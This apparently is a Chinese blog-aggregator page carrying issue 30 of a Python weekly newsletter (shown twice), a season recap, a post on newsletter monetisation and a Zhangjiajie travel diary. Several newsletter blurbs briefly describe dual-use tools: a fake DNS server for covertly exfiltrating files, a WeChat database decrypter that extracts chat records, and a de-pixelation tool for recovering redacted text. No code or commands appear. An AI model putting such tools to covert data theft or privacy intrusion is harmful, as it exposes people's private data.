一个用于创建跨平台桌面应用的 GUI 工具,支持 MacOS、Windows、Linux (GTK)、Android、iOS 和单页 Web 应用。(star 3.9K)
它提供了一个装饰器,可检测函数的请求率、错误率和延迟等指标,方便你识别和调试程序的问题。支持用 Prometheus 查询与分析、开箱即用的 Grafana 仪表板、自定义告警、运行开销小。
Python 中有些标准库是用纯 Python 实现的,可能会成为性能瓶颈。这个项目将经过 mypyc 类型检查的标准库编译成 C 代码版本,比原始版本快 2-4 倍。目前已完成 tomllib 和 difflib,计划中还有 asyncio、urllib、zipfile、argparse 和 uuid。
它借助 GPT 将高版本 Python 代码转译成目标环境的 Python 版本代码,实现向下兼容执行。例如将 Python 3.10+ 的 match-case 代码转译成 if-else 代码,可在更低 Python 版本中执行。
支持中文、英文、日语、韩语 4 种语言,可在线从麦克风录制声音。支持文字转语音和语音变声。(star 1.3K)

🐢播客&视频

Pixi 是用 Rust 开发的基于 Conda 的包管理器。
Ruff 是一个用 Rust 编写的 Python linter+formatter,而且两方面都是性能最快的。

🥂讨论&问题

Reddit 上的热门讨论帖,也有近 700 条评论,需要刷很久才能看完。。。
函数的命名参数提高了可读性,但也可能使代码重复和冗长。作者提出了一个简化变量写法的语法糖,得到了不少核心开发者的支持。

第30期(2023-12-09)

🦄文章&教程

非洲十多个国家的 Python 社区组织者们联名给 PSF 的一封公开信。信件的起因是 PSF 给非洲首届 DjangoCon 的 9000 美元拨款延迟了,由此引出 PSF 内部存在的其它问题:人种歧视、对边缘群体缺乏关注、不遵守当地法律等。(题外话:PSF 在 2022 年给亚洲的拨款占比 1%,远低于给非洲的 16%……)
Django 5.0 在本周发布了,只支持 Python 3.10 及以上版本。主要新功能:新增Field.db_default 参数,可设置由数据库计算的默认值;GeneratedField 可以创建由数据库生成的列;引入了字段组和字段组模板,简化了表单字段相关元素的呈现。(附:一则介绍Django 新特性的视频
Lex/Flex 可用于生成词法分析器,用于处理源代码中的词法结构。作者通过改造 Python 官方文档中的一段程序,实现了一个通用的基于规则的词法分析器,可用于处理简单的词法分析需求。
文章指出了人们在 FastAPI 中使用依赖注入时的两种错误方式,介绍了如何在 FastAPI 中使用python-dependency-injector 实现依赖注入的方法。
适当使用列表解析式,可以让你的代码更简洁优雅,但是过度使用的话,将严重破坏代码的可读性。作者给出了三个例子,分别用列表解析式与常规方案实现,让读者感受到易理解的代码胜过花哨的炫技。
Flask 的作者 Armin Ronacher 在最新文章中讨论了 Python 的类型话题。核心观点认为 Python 的内在哲学在于它的动态类型,这是它的优势,这与类型化是冲突的,类型化有其价值,但也会带来成本。作者怀念曾经的 Python。
一篇非常详细的教程,使用 django-watson 和 PostgreSQL 给 Django 项目添加全文搜索功能。这个库支持跨多个 model 进行搜索,支持按相关性排序。(star 1.2K)
Celery 的扇出模式(Fanout)是一种任务分发的模式,由一个任务触发多个并行执行的子任务。作者介绍了这种模式的实践运用,认为这是在任务签名中实现动态工作流的好方法。
Asyncio 是 Python 用作异步编程的标准库,但它不是你唯一的选择。文章介绍和对比了 7 个同类的库,有比 Asyncio 更早发布的 Tornado、Twisted 及 Gevent,也有更为年轻的 Curio、Trio、AnyIO 与 UVloop。
一篇深度剖析 CPython 解释器的动态分发机制的文章。动态分发(Dynamic Dispatch)指的是在程序运行时(而不是在编译时)确定调用哪个方法或函数的过程。a+b 看似简单,但是它们可能有多种类型组合,实际的计算过程可能完全不同。
GIF 是一种图像格式,是无声的动画视频。有什么 Python 库可以通过代码来播放 GIF 动画么?文章分别介绍了 tkinter、PySimpleGUI 和 Jupyter Notebook 这三种方式。
REPL(Read-Eval-Print Loop)是指编程语言的交互式环境。Python 标准库中有个code 模块,提供了实现 REPL 的功能,文章逐步提出需求,演示了如何用它开发一个简单的 REPL。

🐿️项目&资源

这是近期基于 GPT-4v 的最火项目之一。让大语言模型像人类一样查看屏幕内容,操作鼠标和键盘来实现特定的目标。当前的挑战是 GPT-4v 在鼠标点击位置方面的错误率很高。(star 5.1K)
一个专注于扩展开发体验的 Markdown 解析器,遵循 CommonMark 规范 v0.30 规范。速度不是它的优势,但能方便观察 AST、实现自己的元素和渲染器。(投稿自@frostming)
本周火爆朋友圈的项目,作者是一名在校大学生。支持导出微信聊天记录,支持生成年度聊天报告。Slogan 不错:“我的数据我做主”。可以导出数据用于训练个人 AI!(star 12.5K)
这是上一个项目的依赖,可解密数据库,查看和导出聊天记录,支持微信多开场景获取多用户信息。(star 1.6K)(PS. 总感觉这两个项目会被某信针对,你觉得呢?)
Apple 推出的基于自家芯片的机器学习阵列框架,拥有跟 Numpy 相近的 Python API。(star 7.2K)
一个精选仓库,收录了大量数据结构和算法题,使用 Python 解答。另外它还收录了不少大公司的面试题与计算机类学习笔记等资料。(star 1.7K)
一个网页在线版本的 Python 解释器,支持 Python 2.7、3.3-3.10 版本,预装了大部分的常用库,包括 Turtle、Tkinter、Pygame、Numpy、Matplotlib、Pandas、Scipy,等等。
它收录了 Python 社区中与异步 IO 相关的库,包括 aiohttp、aiopg、aiomysql、yarl、aiokafka 等等。
一款 VSCode 插件,具有帧可视化、漂亮的火焰图、显示执行了 SQL 查询的代码行、支持直接跳转到异常位置等。
一个只有 200 多行代码的小工具,伪造 DNS 服务器,隐秘截取请求中的文件。支持多文件、支持 Gzip 压缩、支持自定义子域信息等。(star 1.6K)
可生成你在 Github 的贡献日历、代码行数分析、多种维度下的个人贡献统计图等,轻松将动态图标嵌入到你的个人资料页面中。(star 6.4K)
在截图上打了马赛克就安全了么?不!这个库能以较高的准确度还原图片中的纯文本信息。仓库中有技术原理解释,以及对使用缺陷的说明。(star 24.7K)

🐼欢迎订阅

  • 微信公众号:除更新周刊外,还发布其它原创作品,并转载一些优质文章。(可加好友,可加读者交流群)

  • 博客RSS:我的独立博客,上面有历年原创/翻译的技术文章,以及从 2009 年以来的一些随笔。

  • 邮件RSS:在 Substack 上开通的频道,满足你通过邮件阅读时事通讯的诉求。

  • Github:你可以获取本周刊的 Markdown 源文件,做任何想做的事!

  • Telegram:除了发布周刊的通知外,我将它视为一个“副刊”,补充发布更加丰富的资讯。

  • Twitter:我的关注列表里有大量 Python 相关的开发者与组织的账号。

🐱赞助支持

如果你喜欢本周刊,欢迎分享给其他需要的同学,让更多人可以从中受益~
内容创作要花费大量的时间和精力,如果你觉得有帮助,请随意赞赏买杯咖啡 进行支持!

December 11, 2023 12:00 AM

Python 潮流周刊第一季完结(1~30)

你好,我是猫哥。庆祝 Python 潮流周刊在几天前顺利更新到了第 30 期!
我觉得这是一个很有意义的时间节点,不太短也不漫长,很适合作一个小小的总结。
我打算今后每 30 期作为一季,都给大家做一些总结和分享。
首先,给大家公开一些数据吧。
本季时间从 2023.05.13 到 2023.12.09,共 210 天。曾有 1 期是加更,以及停更过 2 周,没想到时间正正好就是 7*30=210 天,太巧了!
本季周刊共分享了:
  • 文章/教程:378 篇
  • 项目/资源:270 个
  • 播客/视频:54 则(有不少是视频列表)
  • 热门讨论:20 个
实际的数目远不止这些,因为周刊在分享时会提及一些相关材料和补充附录,这些内容也很多,难以一一统计,故未算入到总数中。
我在多个平台上发布了周刊,阅读量更加不好统计,因此这里只公布公众号里的数据吧:
公众号共获得 6.9 万阅读,去除最高和最低后,平均阅读量为 2100。
总共获得 840+ 赞同数,130+ 在看数。平均每篇点赞数接近 30,这数据在技术号里我感觉挺可以自豪的!
阅读量排名前十的分别是:
公众号里是在文章最底部才可以点赞,因此点赞数可以很好体现读者对内容的赞许程度。
点赞比例(点赞数/阅读量)最高的前十期是:
另外比较有参考意义的是博客里的阅读量,大致能看到的数据在 1000-2000 之间。
但遗憾的是我先后在三个平台上用了 umami 作统计,导致数据分割严重,无法很好地统计。
(至于为何会这么折腾,这是一个十分曲折的故事,而且余波未平,等以后再细说吧……)
自发布周刊以来,得到过很多小伙伴的赞赏,我仔细计算了来自周刊的微信赞赏金额共有 879.74 元
非常感谢小伙伴们的鼎力支持,你们的心意我都收下了!
另外,我还非常开心的是破天荒收到了 2 笔美元的赞赏,很有纪念意义:
前不久,我们周刊也开始接到了第一家广告赞助。这是我第一次尝试的方式,引发了对周刊未来发展的思考,因此写了一篇《聊聊技术周刊的变现》。
我们周刊的传统是每期内容的质量都很高,信息量充足,有一两位小伙伴反馈过,上一期内容还没消化完,新一期就来了……
为了方便老读者们回看及检索,也为了方便新关注的读者从第一季内容中寻宝,我把全部 30 期周刊的正文汇总成了一篇,共 6.2 万字
另外,我也制作了 PDF 版本,请在公众号“Python猫”里发送“W30”,获取下载链接。
本次小结完毕。欢迎大家反馈问题和建议!
咱们下期周刊见!
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 11, 2023 12:00 AM

December 09, 2023

pythoncat

Python 潮流周刊#30:非洲 Python 社区给 PSF 的一封公开信

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🐱播客推荐

2023 年即将过去,给大家推荐一下我个人年度最喜爱的播客节目《纵横四海》!!它主要分享读书,探讨个人成长/职业成长,探索如何处理感情问题等。每期都在 90 分钟以上,好几期还超过了 4 个小时,但是听了完全不会觉着冗长!

🦄文章&教程

非洲十多个国家的 Python 社区组织者们联名给 PSF 的一封公开信。信件的起因是 PSF 给非洲首届 DjangoCon 的 9000 美元拨款延迟了,由此引出 PSF 内部存在的其它问题:人种歧视、对边缘群体缺乏关注、不遵守当地法律等。(题外话:PSF 在 2022 年给亚洲的拨款占比 1%,远低于给非洲的 16%……)
Django 5.0 在本周发布了,只支持 Python 3.10 及以上版本。主要新功能:新增Field.db_default 参数,可设置由数据库计算的默认值;GeneratedField 可以创建由数据库生成的列;引入了字段组和字段组模板,简化了表单字段相关元素的呈现。(附:一则介绍Django 新特性的视频
Lex/Flex 可用于生成词法分析器,用于处理源代码中的词法结构。作者通过改造 Python 官方文档中的一段程序,实现了一个通用的基于规则的词法分析器,可用于处理简单的词法分析需求。
文章指出了人们在 FastAPI 中使用依赖注入时的两种错误方式,介绍了如何在 FastAPI 中使用python-dependency-injector 实现依赖注入的方法。
适当使用列表解析式,可以让你的代码更简洁优雅,但是过度使用的话,将严重破坏代码的可读性。作者给出了三个例子,分别用列表解析式与常规方案实现,让读者感受到易理解的代码胜过花哨的炫技。
Flask 的作者 Armin Ronacher 在最新文章中讨论了 Python 的类型话题。核心观点认为 Python 的内在哲学在于它的动态类型,这是它的优势,这与类型化是冲突的,类型化有其价值,但也会带来成本。作者怀念曾经的 Python。
一篇非常详细的教程,使用 django-watson 和 PostgreSQL 给 Django 项目添加全文搜索功能。这个库支持跨多个 model 进行搜索,支持按相关性排序。(star 1.2K)
Celery 的扇出模式(Fanout)是一种任务分发的模式,由一个任务触发多个并行执行的子任务。作者介绍了这种模式的实践运用,认为这是在任务签名中实现动态工作流的好方法。
Asyncio 是 Python 用作异步编程的标准库,但它不是你唯一的选择。文章介绍和对比了 7 个同类的库,有比 Asyncio 更早发布的 Tornado、Twisted 及 Gevent,也有更为年轻的 Curio、Trio、AnyIO 与 UVloop。
一篇深度剖析 CPython 解释器的动态分发机制的文章。动态分发(Dynamic Dispatch)指的是在程序运行时(而不是在编译时)确定调用哪个方法或函数的过程。a+b 看似简单,但是它们可能有多种类型组合,实际的计算过程可能完全不同。
GIF 是一种图像格式,是无声的动画视频。有什么 Python 库可以通过代码来播放 GIF 动画么?文章分别介绍了 tkinter、PySimpleGUI 和 Jupyter Notebook 这三种方式。
REPL(Read-Eval-Print Loop)是指编程语言的交互式环境。Python 标准库中有个code 模块,提供了实现 REPL 的功能,文章逐步提出需求,演示了如何用它开发一个简单的 REPL。

🎁Python潮流周刊🎁已顺利更新到第 30 期啦!我在几天前写了一篇《聊聊技术周刊的变现》分享了对未来发展的思考,近期也会对所有周刊再作一次总结,敬请期待!

🐿️项目&资源

这是近期基于 GPT-4v 的最火项目之一。让大语言模型像人类一样查看屏幕内容,操作鼠标和键盘来实现特定的目标。当前的挑战是 GPT-4v 在鼠标点击位置方面的错误率很高。(star 5.1K)
一个专注于扩展开发体验的 Markdown 解析器,遵循 CommonMark 规范 v0.30 规范。速度不是它的优势,但能方便观察 AST、实现自己的元素和渲染器。(投稿自@frostming)
本周火爆朋友圈的项目,作者是一名在校大学生。支持导出微信聊天记录,支持生成年度聊天报告。Slogan 不错:“我的数据我做主”。可以导出数据用于训练个人 AI!(star 12.5K)
这是上一个项目的依赖,可解密数据库,查看和导出聊天记录,支持微信多开场景获取多用户信息。(star 1.6K)(PS. 总感觉这两个项目会被某信针对,你觉得呢?)
Apple 推出的基于自家芯片的机器学习阵列框架,拥有跟 Numpy 相近的 Python API。(star 7.2K)
一个精选仓库,收录了大量数据结构和算法题,使用 Python 解答。另外它还收录了不少大公司的面试题与计算机类学习笔记等资料。(star 1.7K)
一个网页在线版本的 Python 解释器,支持 Python 2.7、3.3-3.10 版本,预装了大部分的常用库,包括 Turtle、Tkinter、Pygame、Numpy、Matplotlib、Pandas、Scipy,等等。
它收录了 Python 社区中与异步 IO 相关的库,包括 aiohttp、aiopg、aiomysql、yarl、aiokafka 等等。
一款 VSCode 插件,具有帧可视化、漂亮的火焰图、显示执行了 SQL 查询的代码行、支持直接跳转到异常位置等。
一个只有 200 多行代码的小工具,伪造 DNS 服务器,隐秘截取请求中的文件。支持多文件、支持 Gzip 压缩、支持自定义子域信息等。(star 1.6K)
可生成你在 Github 的贡献日历、代码行数分析、多种维度下的个人贡献统计图等,轻松将动态图标嵌入到你的个人资料页面中。(star 6.4K)
在截图上打了马赛克就安全了么?不!这个库能以较高的准确度还原图片中的纯文本信息。仓库中有技术原理解释,以及对使用缺陷的说明。(star 24.7K)

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 09, 2023 12:00 AM

December 06, 2023

pythoncat

聊聊技术周刊的变现

看过我最近几期《Python 潮流周刊》的同学,你们应该会注意到它们开头多了一则“产品推荐”吧?
没错,这是恰饭了!我们周刊终于开张有了第一个商业赞助!撒花花~~(虽然更早的时候有与出版社合作的赠书,但那些书是给读者们的福利,严格来说不能算“恰饭”吧?)
然而,在开心激动过后,想想那惨淡的“带货”数据,我又要开始发愁了。虽开张了第一家,它却难以有持续合作的希望。技术周刊的变现出路到底在哪?
我做了一些反思,在此要跟大家分享这一次合作赞助的故事,以及我观察到的出乎意料的现象,也聊一聊我对周刊未来商业变现的想法。

Python 潮流周刊是深受其它周刊影响而诞生的,以后我会补上一篇本应作为开端的“创刊语”,聊聊我从其它周刊上学到的东西和自己的创作理念。
这些周刊对我影响最深的一个方面是让我看到了文章变现的一种新形式
作为一个五岁的自媒体博主,我偶尔能接到公众号里的软文推广,曾参与过卖书返佣活动,也见识过一些号主卖 xx 星球和 xx 小册,这些都是我比较熟悉的变现方式。另外,我知道国内有一些纯付费订阅的周刊,也知道一些免费订阅的(过去没留意它们如何变现)。
但对我触动最深的是几个免费订阅的英文周刊里的品牌植入类赞助。比如我每周必看的几个 Python Weekly,它们每期不断的有 2-3 个赞助。这些赞助通常很契合,文案也比较友好,基本不让人反感,几乎不会影响阅读。
我认为这是很完美的广告模式!周刊作者与品牌方应该是互选合作,并不是谷歌广告联盟或者公众号内文广告那种,这样一来,作者能获得相比广告联盟高的报价收入,品牌方也能以较低的投放而接触到更精准的目标群体。
从创办 Python 周刊起,我就畅想将来要像那些偶像周刊一样,要站着恰饭,用免费加赞助的模式,持续且体面地运营下去!
国内有没有比较成功的案例呢,让我去学习学习?我首先想到了《科技爱好者周刊》,它也是我的一个启蒙周刊,是国内技术圈里标杆级的存在。
我发现当时它在周刊末尾推荐了一个生产力工具,而我也从其它途径了解过它且正在使用中,于是我就把这列为了自己第一个合作目标。(下称 F 产品)
记得那时是 6 月中旬,趁着高温天气和前面几期周刊的高热度,我在发布完第 6 期后,主动出击联系了 F 产品的客服,然后是产品运营的负责人,由此开始了第一次的商务探索。

我失败了。
没有达成自己预期要建立合作的目标。
我总结当时没有合作成的原因:
  • 品牌方在面对我这个小透明自媒体和效果未知的邀约时,必然持有谨慎的态度,无法给出明确的方案
  • 我并没有摆正自己身份转变的位置,在几天后逐渐失去了洽谈的耐心,加上那几天其它因素干扰,突然对自己的目标变得犹犹豫豫
是不是时机还没到呢?要不要再等等啊,等各项数据再发展发展?
我自己打起了退堂鼓。出师不利!

好消息出现在 11 月初。我在朋友圈发了电报频道破千的消息,F 产品的对接人 W 看到后,就来联系我。但他们不是想合作上文提到的 F 产品,只是想宣传一款 AI 工具(下称 A 产品)。
我看过介绍后觉得非常契合!不到半小时,我们就达成了合作约定。三小时后,文案预览也好了。第二天一大早,公众号就发推文了!
有了推文合作后。我们很快也谈好了在周刊里的合作,所以才有了文章开头说的“恰饭”!
也就是说,种子是在 6 月份埋下的,5 个月后才涌现生机破土而出。这算不算是好事多磨啊?
从整件事中,我得出的经验:
  • 机会靠自己主动发现,从同领域大佬那里寻找线索
  • 失败是常有的事,机会在眼前但你可能把握不住
  • 持续积蓄力量并让自己的成绩被人看到

接着聊聊让人尴尬的事……
周刊的阅读量处于正常水平,然而,通过我的邀请链接注册了 A 产品的人数要比预期少很多!
在我的设想里,A 产品的卖点很足,尽管它是一款浏览器插件,通常需要在 PC 端上安装(手机端也有浏览器可以支持,不知道用的人多么?),但最起码该有个 1% 的安装量吧?
无情的数据嘲笑了我的盲目乐观!我突然发现自己对于阅读转化率是那么的无知,以前在接培训机构的推广时,我知道数据不会很好,因为它们频繁在同类公众号中投放,早已让大部分读者免疫/厌恶。
但是,这一款符合潮流的能提升个人效率的免费的 AI 工具,不该是乏人问津的待遇啊!
前些天里,我耿耿于怀。现在释怀了,我想到了两个自认为挺合理的解释:
  • 手机端读者占了很大比重。 我看到博客里统计的手机访客占比达 48%,而公众号就更不必说了。能特意记录链接再转到 PC 上访问的人,数量应该用稀少形容吧
  • 大家对 AI 产品早已司空见惯。 ChatGPT 推出刚好一年,也持续火爆了一年,AI 工具早已普及,新产品想要获客,难度可不低
无论如何,我们周刊总算是迈出了变现的第一步,尽管只是摇摇晃晃的一小步!

创作周刊是一件很消磨人的事。它所需的工序极少,无非就是:收集素材+整理素材。
在信息采集方面,Feedly 帮了我大忙,让我从 400+ 订阅源里高效获取信息;但是,随后的阅读、筛选、提炼等环节就需要耗费我大量的时间。
我有时候会让 AI 做总结辅助,但经常得自己重读确认、用自己的思路做摘要以及将不同素材串联起来,所以时间几乎无法节省。
然而对于我这个时常 996 的社畜,以及遭到过老婆埋怨没有多陪小孩的新手爸爸来说,时间是种稀缺资源。
以前写文章时,拖稿两三周是常有的事,有时也会因为精力分散就弃稿了。可是周刊带有时间承诺的属性,我对自己的要求也是尽量按期交付,因此只能加班加点。
紧张更新后,休息一两天,很快又得进入新一轮的筹备环节。
整个过程有点像西西弗斯循环往复推石头上山的感觉。

我不想做一份草草放弃的周刊,为了抵消时间和精力的投入,就需要获得一些正向的能量以让自己坚持不懈。
我比较在意的回报有两类,而且希望能同时得到,一类是关注量、阅读量、star 数、点赞量等等数据带来的精神鼓舞,另一类是广告/恰饭带来的实实在在的金钱。
回到周刊变现的话题,因为第一类回报,所以我不打算做私密性周刊,不打算用订阅制,不打算收会员费;因为第二类回报,所以我会坚持探索挣钱之道。
两相结合,我们周刊想走的显然是免费加赞助的模式,正是英文榜样周刊最开始触动我的模式。
周刊不同于其它内容,它有时间规律,一个星期是一个节点,一期内容是一颗积木,以缓慢却可预期的节奏延伸和积攒,需要拉长时间维度才能看清拼起来的全貌。
周刊天然是长期主义的,我把它每次不多的变现视为一笔基金定投,坚信只要长期持有,总会享受到复利效应的收益。
涓涓细流,长长流水(出自《左传》)。细小的水流,最终汇聚成为长长的河流。
这些就是我对于周刊未来商业变现的思考。
路漫漫其修远兮,吾将上下而求索。与诸君共勉!
最后,如果你对文中的周刊感兴趣,可通过以下方式订阅:
本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

December 06, 2023 12:00 AM

December 04, 2023

anji66

湘西张家界之旅(游记篇)

此去出游已逾三月,趁着记忆还没模糊,记下那些残存的只言片语。曾走过的路,看过的景,擦肩而过的路人;无边落木出云巨石嵌起的峡谷溪水潺潺,蜿蜒公路飞驰汽车依偎的城市人声攘攘;它从来不止是停留在脑海中的画面,它真真切切的从平静岁月中划过。


二千里路云和月

早早的去接媳妇下班,把前几天备好的物资搬到车上,全家人出门前洗漱好,外卖叫了开封菜,我们就上路了,汽车从喧嚣的城市到寂静的乡村,从夕阳西下到一弯新月浮上山头,一路向西,一路伴着路边的灯光、天边的月牙,音箱中传来心驰神往的乐章,窗外的虫鸣与发动机的嘶叫,我们不间歇的6小时飞驰了600公里跨越了申苏浙皖,进入鄂皖交界的黄梅。加油、如厕、欣赏朦胧的月色,一气呵成。后半夜的高速越发车少,到僻静的山里,几个弯过后前无尾灯,后无追车,偶然间一束强光从对向射来,不过是那东行的过客。

1.jpg


越往西,越是山高林密,只是这黑夜中没有景色飘进窗户,只有孤寂的车流和撇下的灯影。不多时,后座的母女沉沉的睡去,我也早已关了音乐,寂静中有高速安全预警电话打进来,提醒不要疲劳驾驶。惊的我连番进入服务区。绷紧的神经一旦放下来,就催生了连绵的睡意。就这样走走停停,天已经不知不觉的亮了,清晨走在洞庭湖大堤沿岸的公路上,远处枝头上白鹭在振翅,从后背射过来的阳光打在它身上,恍惚是金鹏展翅。路上越来越多的车流,不断的超过我们,全是各地的牌子,大概也都是刚刚经历了夜宿的旅客。

到了慈利,就要到目的地了,最后一个休息点,刷牙洗脸填充肚皮,这下真切的听着各地的方言,确信都是出来撒欢的,只有拎着热水瓶的大货司机是个例外,汝之饴糖,彼之砒霜,我们的旅途他们的生活。再见,一千两百公里的路途;再见,终究我们要不了几天又会回到自己的轨迹中去。大庸我们到了。


初识武陵源

乘着观光车就到了缆车处,随着缆车越来越高,终得见那刀劈斧斫的张家界地貌。眼看着缆车立柱建在这突兀的石头山上,同厢的乘客忍不住打卡拍照。在御笔峰,奇峰三千,秀水八百的张家界在眼前展开。行道上,土家族的导游绘声绘色的与旅行团讲述本地的婚恋习俗,讲到精彩处,团队中那些个单身汉笑的前仰后合。到了天子山,最重要的当是去瞻仰一下两把菜刀闹革命的贺龙元帅,贺老总于2009年自八宝山81号墓迁葬于天子山贺龙公园,回到了他出生的地方。元帅墓是由两把菜刀造型的主碑体,浮雕贺老总叼着烟斗的侧面像,墓前满是悼念者敬献的鲜花。不远处一尊贺龙铜像屹立在云青岩上。贺老总八字胡,小烟斗,神态逼真,一匹战马正蹄着劲,站在元帅旁边,说话间就要扬鞭起征。

2.jpg

3.jpg


转过天子山,跟着环保车来到袁家界。在绝壁栈道鱼贯而行,山谷间一座座奇山异石,在飘渺的薄雾下,移步换景。队伍中半大的孩子捡根树枝、捡块石子,趁大人不注意,嗖的就丢向山谷。这边几个声音洪亮点的游客说话,隐约着对面山谷风来,回声窃窃。不远处见得两山靠拢,下部中空,上部紧贴,自然形成一座拱桥,飞架在这青云之上,“桥”上人群络绎不绝,自桥头连着对面的锁山,红绸金锁,一年复一年的、密密麻麻的挂满了整个山体,祈福许愿大概是对着神来之桥莫大的尊重。一路上五女出征,导游说是百元大钞(第四版)、哈利路亚悬浮山、迷魂台,相继出现在视野里。在迷魂台观景平台,为了能拍摄这叹为观止的全景,承包景区摄影的商贩更是动用了无人机在此处航拍。交了钱,就立等可取。沿着蜿蜒的栈道继续前进,不遑时,又到了换乘点。

4.jpg


此时太阳已斜挂高空,但仍然是那么毒辣,晒的人好是生疼,好在山高林密,路边树上窸窸窣窣的有些动静,眼尖的孩子发现了猴子,大人们也从自顾自赶路中回过神来,遍地提示小心野猴的提示牌,这会儿才是见到真的,惊叫、讨论、戏弄声不绝于耳。很快我们到了百龙天梯处,这户外大电梯说是景点不如说是运输工具,向云端、坠地平,上山下山的游客不过是行进的路线不同,殊途不过同归。下到山脚,西斜的阳光格外黄亮,照的对面山崖金灿灿的,一层一层堆叠的岩石让人恍惚的睁不开眼,几只猴子在换乘点的屋顶上悠闲的踱来踱去,犬吠不怵,人来不惊。

5.jpg


出了山门,结束一天的疲惫,漫步在武陵源的街道上,不甚拥挤,五彩斑斓的霓虹店招,十里同文,遍地是这三下锅、清水鱼,也不乏龙虾小烧烤。就在酒店附近找了家馆子,点了些特色,祭了五脏庙,一夜一天的行程终结,匆匆回去睡了囫囵觉。

6.jpg


再入森林公园

武陵源很大,大到方圆几百里,奇峰几千座。第二天按照行前的计划再入武陵源,昨天是山顶漫步,今天是索溪而行。在十里画廊,步行道曲折蜿蜒,边上是生肖系列和奋进系列小火车,电动小火车没有轰隆的铁轨声,只听到吱呀的摩擦。步行道上三三两两的游客,吭哧吭哧往前走的,观景点位驻足的,不约而同的都会被树上的猴子吸引,只见几个大爷大妈在分苹果,本是好奇一个苹果四人分?还没反应过来,手上的苹果已经喂了猴子,见那大师兄端坐在树枝上,大腹便便,怕是衣食无忧惬意自在很久了。我只好教育女儿,野生动物不得投喂,别把自己置于危险中,也别把动物置于“危险”中,好在娃儿对动物还有些莫名的害怕,紧赶着我们越过人群,朝着山谷里面走去。沿途采药老人、手指峰栩栩如生。孔雀开屏、仙女拜观音全凭臆想。象形的和会意的纵横交错,不多时也就遍穿了这个小峡谷。

7.jpg


从金鞭溪的入口水绕四门出发,往里数百米,有一池清水,水不深,水潭中遍地的石头被打磨的精光,也不硌脚,在八月这个暑季,自然这里是孩子们的天堂,摸鱼捉虾的,打水仗踩水花的,各有各的玩法。也不知道是水清无鱼还是人比鱼多,孩子们的网兜水桶大都是空空的,但脸上的笑意却是满满的。下水的孩子还有些大人们,把随身的物品放在部分干涸的河床上,不一会儿,山上的大师兄下山了,这些猴子径直奔向游客的背包,一顿翻找,见到吃的就直接拿走了,背包东西被倒了一地,山匪也不过如此了。

8.jpg


沿着溪边栈道索溪而行,提示牌上要么大鲵保护,禁止下水,要么就是野猴出没,禁止投喂。山涧的凉风吹的人格外舒畅,林中些许蝉鸣,山顶不时飞过几只鸟儿,林逾静,山更幽。经过一段幽静小路,走到森林公园的大石碑下,休憩的游客、忙碌的商贩,仿佛是见到了桃花源,曲径通幽处,柳暗花明村。见此处人多我们也不多做停留,径直往前赶路,在鱼肠小道上有山上巨石落下自然搭成的“桥洞”,需要弯腰低头才能穿过。路边不知名的小花热烈的绽放着,黄的紫的居多,在单调的灰绿色调中,甚是养眼。

转角又遇到亭子,几公里走下来,不免腰酸腿痛腹中空,就占了八角亭的一边,大快朵颐起来。充满电我们奔着大氧吧广场目的地而去,天气热,前面玩水的清凉也消耗殆尽,女儿拿着网兜水枪又唧唧歪歪的嚷着要玩水,待到一亲水平台,拗不过她,只得遂了她的愿,老婆担心安全,索性也下去一起玩了起来,这边厢我守着行装两眼无神脑袋放空,那边厢只听扑通扑通两声有人掉水里了,路上游客也迅速有人下去准备捞人,这一看这不我家俩人么,也顾不得其它直跳下三尺平台,把娘俩抓了起来,好在水没多深,只是从光滑的石头上滚下,落得个浑身湿透。虽是盛夏,打湿了在这山涧溪谷多少还是有些寒凉,身上还多少带点青苔泥渍。不得已我们反向回酒店换身衣服。

原本是打算去大氧吧然后转到去黄石寨,有道是不到黄石寨,枉来张家界。经这一出,返回山门,再重走这一路,时间当是不足了。那干脆留个遗憾,为以后再来留个借口。


绕山绕水绕峡谷

出了吴家峪东门,时间已经来到了下午1点多,如果再走到落水的地方,得下午三点了,后面想要到达黄石寨时间上已经不允许了,当机立断转道去张家界大峡谷,看攻略全程下来3个小时就够了,时间正好。从武陵源到大峡谷,还有十几公里路程,后半截盘山路,有几辆游客车缓行,寻得一段直路一脚油,又两个急弯就甩掉他们了,直奔游客中心。

暑期的下午,虽是网红点,人倒是不多,并且B线游览还是免费的,寻着A线去了玻璃桥,上前先带了鞋套,下午两点多的太阳,加上玻璃上熠熠的光芒着实有些晒的慌,她娘俩迫不及撑着太阳伞,我倒是不惧太阳,奈何这几天也差点被晒秃噜皮。玻璃桥也没有不同于别处,甚至可以说平淡了点,唯一的特点大概是架于峡谷之上,落差高了点罢了。桥面上,恐高的人还是很多,抬头看天的,扶着护栏的,那身形别提多打趣了。我们躺在玻璃上,站在护栏边草草的拍了些照片,着实是顶不过这炎炎的太阳。过了桥,一座漂亮的两层小楼,一些供游客休整的座椅凳子,小卖部夹杂其中,买几根冰棍才对得起这一身臭汗淋漓。

9.jpg


嵌在山体上的栈道,犹如镶嵌在云端的天路,站在上面再顺势看向山谷,不免让人眩晕。颤颤巍巍的走过这云端天路,来到下山的入口,这里有飞索横渡大峡谷,悬空的座椅在高空悬索上飞速直下刺激了当。正是这般体验,队伍绵长,而一侧的悬崖电梯却是没什么人。见空我们就顺着观光电梯下山了,原本以为直通山脚,着实想多了,下到半山腰,如果继续做电梯下行,就得额外银子开路。售票口边上隐蔽的角落有木栈道可供下山,不时有人寻道而来。真走上木栈,我才心里暗暗吃紧,膝伤未愈,这陡峭的下山路如何是好。当走下一节,再回头看,那木栈矗然耸立,再返回已是不可能了。让老婆孩子先走,我拽着扶手,伤腿在前,直直的杵向台阶,不多时便汗流浃背了。越往下走越是内心后悔,该回头的。越往下走越是没法反悔,来时路已在云端。大约两三刻钟,才下得山来,溪谷阴凉,水击石潺潺如咽,林中鸦咕咕如诉。

